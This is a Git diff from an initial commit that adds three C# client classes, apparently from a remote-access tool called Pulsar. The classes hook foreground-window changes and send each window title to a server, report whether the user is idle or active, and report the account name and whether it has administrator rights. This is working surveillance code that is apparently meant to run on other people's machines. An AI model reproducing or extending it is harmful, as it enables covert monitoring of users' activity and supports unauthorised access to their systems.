initial commit
This commit is contained in:
Vendored
BIN
Binary file not shown.
@@ -0,0 +1,97 @@
|
||||
using System;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
using System.Windows.Forms;
|
||||
using Pulsar.Client.Networking;
|
||||
using Pulsar.Common.Messages;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace Pulsar.Client.User
|
||||
{
|
||||
//changed it so its not longer that trash thing u did where it checks every 5 secds
|
||||
// now it sends new window titled whenever a focus is chagned
|
||||
public class ActiveWindowChecker : IDisposable
|
||||
{
|
||||
private readonly PulsarClient _client;
|
||||
private readonly CancellationTokenSource _tokenSource;
|
||||
private readonly CancellationToken _token;
|
||||
|
||||
private delegate void WinEventDelegate(IntPtr hWinEventHook, uint eventType, IntPtr hwnd, int idObject, int idChild, uint dwEventThread, uint dwmsEventTime);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
private static extern IntPtr SetWinEventHook(uint eventMin, uint eventMax, IntPtr hmodWinEventProc, WinEventDelegate lpfnWinEventProc, uint idProcess, uint idThread, uint dwFlags);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
private static extern bool UnhookWinEvent(IntPtr hWinEventHook);
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true, CharSet = CharSet.Auto)]
|
||||
private static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int nMaxCount);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
private static extern IntPtr GetForegroundWindow();
|
||||
|
||||
private const uint WINEVENT_OUTOFCONTEXT = 0;
|
||||
private const uint EVENT_SYSTEM_FOREGROUND = 0x0003;
|
||||
|
||||
private IntPtr _hookId;
|
||||
private readonly WinEventDelegate _winEventDelegate;
|
||||
|
||||
public ActiveWindowChecker(PulsarClient client)
|
||||
{
|
||||
_client = client;
|
||||
_tokenSource = new CancellationTokenSource();
|
||||
_token = _tokenSource.Token;
|
||||
|
||||
_winEventDelegate = new WinEventDelegate(WinEventProc);
|
||||
_hookId = SetWinEventHook(EVENT_SYSTEM_FOREGROUND, EVENT_SYSTEM_FOREGROUND, IntPtr.Zero, _winEventDelegate, 0, 0, WINEVENT_OUTOFCONTEXT);
|
||||
|
||||
if (_hookId == IntPtr.Zero)
|
||||
{
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
private void WinEventProc(IntPtr hWinEventHook, uint eventType, IntPtr hwnd, int idObject, int idChild, uint dwEventThread, uint dwmsEventTime)
|
||||
{
|
||||
if (eventType == EVENT_SYSTEM_FOREGROUND)
|
||||
{
|
||||
string currentWindowTitle = GetCurrentWindowTitle();
|
||||
_client.Send(new SetUserActiveWindowStatus { WindowTitle = currentWindowTitle });
|
||||
}
|
||||
}
|
||||
|
||||
private string GetCurrentWindowTitle()
|
||||
{
|
||||
const int nChars = 256;
|
||||
StringBuilder buff = new StringBuilder(nChars);
|
||||
IntPtr handle = GetForegroundWindow();
|
||||
|
||||
if (GetWindowText(handle, buff, nChars) > 0)
|
||||
{
|
||||
return buff.ToString();
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
Dispose(true);
|
||||
GC.SuppressFinalize(this);
|
||||
}
|
||||
|
||||
protected virtual void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing)
|
||||
{
|
||||
_tokenSource.Cancel();
|
||||
_tokenSource.Dispose();
|
||||
|
||||
if (_hookId != IntPtr.Zero)
|
||||
{
|
||||
UnhookWinEvent(_hookId);
|
||||
_hookId = IntPtr.Zero;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,133 @@
|
||||
using Pulsar.Client.Helper;
|
||||
using Pulsar.Client.Networking;
|
||||
using Pulsar.Common.Enums;
|
||||
using Pulsar.Common.Messages;
|
||||
using System;
|
||||
using System.Threading;
|
||||
|
||||
namespace Pulsar.Client.User
|
||||
{
|
||||
/// <summary>
|
||||
/// Provides user activity detection and sends <see cref="SetUserStatus"/> messages on change.
|
||||
/// </summary>
|
||||
public class ActivityDetection : IDisposable
|
||||
{
|
||||
/// <summary>
|
||||
/// Stores the last user status to detect changes.
|
||||
/// </summary>
|
||||
private UserStatus _lastUserStatus;
|
||||
|
||||
/// <summary>
|
||||
/// The client to use for communication with the server.
|
||||
/// </summary>
|
||||
private readonly PulsarClient _client;
|
||||
|
||||
/// <summary>
|
||||
/// Create a <see cref="_token"/> and signals cancellation.
|
||||
/// </summary>
|
||||
private readonly CancellationTokenSource _tokenSource;
|
||||
|
||||
/// <summary>
|
||||
/// The token to check for cancellation.
|
||||
/// </summary>
|
||||
private readonly CancellationToken _token;
|
||||
|
||||
/// <summary>
|
||||
/// Initializes a new instance of <see cref="ActivityDetection"/> using the given client.
|
||||
/// </summary>
|
||||
/// <param name="client">The name of the mutex.</param>
|
||||
public ActivityDetection(PulsarClient client)
|
||||
{
|
||||
_client = client;
|
||||
_tokenSource = new CancellationTokenSource();
|
||||
_token = _tokenSource.Token;
|
||||
client.ClientState += OnClientStateChange;
|
||||
}
|
||||
|
||||
private void OnClientStateChange(Networking.Client s, bool connected)
|
||||
{
|
||||
// reset user status
|
||||
if (connected)
|
||||
_lastUserStatus = UserStatus.Active;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Starts the user activity detection.
|
||||
/// </summary>
|
||||
public void Start()
|
||||
{
|
||||
new Thread(UserActivityThread).Start();
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Checks for user activity changes sends <see cref="SetUserStatus"/> to the <see cref="_client"/> on change.
|
||||
/// </summary>
|
||||
private void UserActivityThread()
|
||||
{
|
||||
try
|
||||
{
|
||||
if (IsUserIdle())
|
||||
{
|
||||
if (_lastUserStatus != UserStatus.Idle)
|
||||
{
|
||||
_lastUserStatus = UserStatus.Idle;
|
||||
_client.Send(new SetUserStatus { Message = _lastUserStatus });
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
if (_lastUserStatus != UserStatus.Active)
|
||||
{
|
||||
_lastUserStatus = UserStatus.Active;
|
||||
_client.Send(new SetUserStatus { Message = _lastUserStatus });
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception e) when (e is NullReferenceException || e is ObjectDisposedException)
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Determines whether the user is idle if the last user input was more than 10 minutes ago.
|
||||
/// </summary>
|
||||
/// <returns><c>True</c> if the user is idle, else <c>false</c>.</returns>
|
||||
private bool IsUserIdle()
|
||||
{
|
||||
var ticks = Environment.TickCount;
|
||||
|
||||
var idleTime = ticks - NativeMethodsHelper.GetLastInputInfoTickCount();
|
||||
|
||||
idleTime = ((idleTime > 0) ? (idleTime / 1000) : 0);
|
||||
|
||||
return (idleTime > 600); // idle for 10 minutes
|
||||
}
|
||||
|
||||
public static string UserIdleTime()
|
||||
{
|
||||
var ticks = Environment.TickCount;
|
||||
var idleTime = ticks - NativeMethodsHelper.GetLastInputInfoTickCount();
|
||||
idleTime = ((idleTime > 0) ? (idleTime / 1000) : 0);
|
||||
return TimeSpan.FromSeconds(idleTime).ToString(@"hh\:mm\:ss");
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Disposes all managed and unmanaged resources associated with this activity detection service.
|
||||
/// </summary>
|
||||
public void Dispose()
|
||||
{
|
||||
Dispose(true);
|
||||
GC.SuppressFinalize(this);
|
||||
}
|
||||
|
||||
protected virtual void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing)
|
||||
{
|
||||
_client.ClientState -= OnClientStateChange;
|
||||
_tokenSource.Cancel();
|
||||
_tokenSource.Dispose();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,39 @@
|
||||
using Pulsar.Common.Enums;
|
||||
using System;
|
||||
using System.Security.Principal;
|
||||
|
||||
namespace Pulsar.Client.User
|
||||
{
|
||||
public class UserAccount
|
||||
{
|
||||
public string UserName { get; }
|
||||
|
||||
public AccountType Type { get; }
|
||||
|
||||
public UserAccount()
|
||||
{
|
||||
UserName = Environment.UserName;
|
||||
using (WindowsIdentity identity = WindowsIdentity.GetCurrent())
|
||||
{
|
||||
WindowsPrincipal principal = new WindowsPrincipal(identity);
|
||||
|
||||
if (principal.IsInRole(WindowsBuiltInRole.Administrator))
|
||||
{
|
||||
Type = AccountType.Admin;
|
||||
}
|
||||
else if (principal.IsInRole(WindowsBuiltInRole.User))
|
||||
{
|
||||
Type = AccountType.User;
|
||||
}
|
||||
else if (principal.IsInRole(WindowsBuiltInRole.Guest))
|
||||
{
|
||||
Type = AccountType.Guest;
|
||||
}
|
||||
else
|
||||
{
|
||||
Type = AccountType.Unknown;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user